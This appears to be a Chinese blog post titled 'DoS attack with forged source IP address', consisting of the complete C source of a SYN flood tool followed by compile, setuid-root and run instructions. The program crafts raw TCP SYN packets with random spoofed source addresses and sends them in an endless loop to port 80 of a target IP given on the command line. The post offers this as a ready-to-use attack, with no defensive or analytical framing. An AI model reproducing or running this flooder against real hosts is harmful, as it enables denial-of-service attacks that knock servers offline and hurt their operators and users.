伪造源IP地址的DoS攻击

/*
 * =====================================================================================
 *
 *       Filename:  dos.c
 *
 *    Description:  
 *
 *        Version:  1.0
 *        Created:  2012年02月24日 23时24分28秒
 *       Revision:  none
 *       Compiler:  gcc
 *
 *         Author:  MaZheng (blog.csdn.net/mazheng1989), [e-mail]
 *        Company:  Dalian University Of Technology
 *
 * =====================================================================================
 */


#include	<stdio.h>
#include	<unistd.h>
#include	<string.h>
#include	<netinet/in.h>
#include	<sys/socket.h>
#include	<sys/types.h>
#include	<arpa/inet.h>
#include	<netinet/ip.h>
#include	<netinet/tcp.h>

#define	LOCALPORT 3455			/*  */
#include	<stdlib.h>
#define	DESTPORT 80			/*  */
#define MYPORT 8888
int main(int argc,char **argv)
{
	int sockfd;
	struct sockaddr_in addr;
	int on;
	if(argc!=2)
	{
		fprintf(stderr,"usage:%s IP\n\a",argv[0]);
		exit(1);
	}
	bzero(&addr,sizeof(struct sockaddr_in));
	addr.sin_family=AF_INET;
	addr.sin_port=htons(DESTPORT);
	inet_aton(argv[1],&addr.sin_addr);
	/*创建一个TCP的原始套接字*/
	sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
	if(sockfd<0)
	{
		perror("socket error\n");
		exit(1);
	}
	/*设置套接字选项IP_HDRINCL,由用户程序填写IP头部*/
	setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
	setuid(getuid()); /*获得超级用户的权限*/
	char buffer[100];/*定义存放数据报的缓存区*/
	struct ip *ipp;
	struct tcphdr *tcp;
	int head_len;
	/*数据报的长度即IP头部与TCP头部之后*/
	head_len=sizeof(struct ip)+sizeof(struct tcphdr);
	bzero(buffer,100);
	/*开始填充IP数据报的头部*/
	ipp=(struct ip *)buffer;
	ipp->ip_v=IPVERSION; /*IPV4*/
	ipp->ip_hl=sizeof(struct ip)>>2;/*IP数据报的头部长度*/
	ipp->ip_tos=0;               /*服务类型*/
	ipp->ip_len=htons(head_len);/*IP数据报的长度*/
	ipp->ip_id=0;             /*IP id 由内核填写*/
	ipp->ip_off=0;      /*有内核填写*/
	ipp->ip_ttl=MAXTTL;
	ipp->ip_p=IPPROTO_TCP;         /*传输层协议为TCP*/
	ipp->ip_dst=addr.sin_addr;     /*目的地址，即攻击目标*/
	printf("dest address is %s\n",inet_ntoa(addr.sin_addr));
	/*开始填写TCP数据报*/
	tcp=(struct tcphdr*)(buffer+sizeof(struct ip)); /*获取指向TCP头部的指针*/
	tcp->source=htons(LOCALPORT);
	tcp->dest=addr.sin_port; /*目的端口*/
	tcp->seq=random();      /*随机产生序列号*/
	tcp->ack_seq=0;
	tcp->doff=5;
	tcp->syn=1; /*表示SYN数据报*/
	tcp->check=0;
	while(1)
	{
		/*循环发送攻击包*/
		/*随机产生源地址，使服务器收不到最后一个ACK应答*/
		ipp->ip_src.s_addr=random();
		printf("addr is %d\n",ipp->ip_src.s_addr);
		sendto(sockfd,buffer,head_len,0,(struct sockaddr *)&addr,sizeof(struct sockaddr));
		/*发送攻击数据报*/
	}
	return 0;
}

编译：$:gcc dos.c -o dos

构建原始套接字需要系统权限。

获得系统权限：$:sudo chown root dos

$:sudo chmod u+s dos

运行 ：

$:dos targetIP （targetIP为攻击目标地址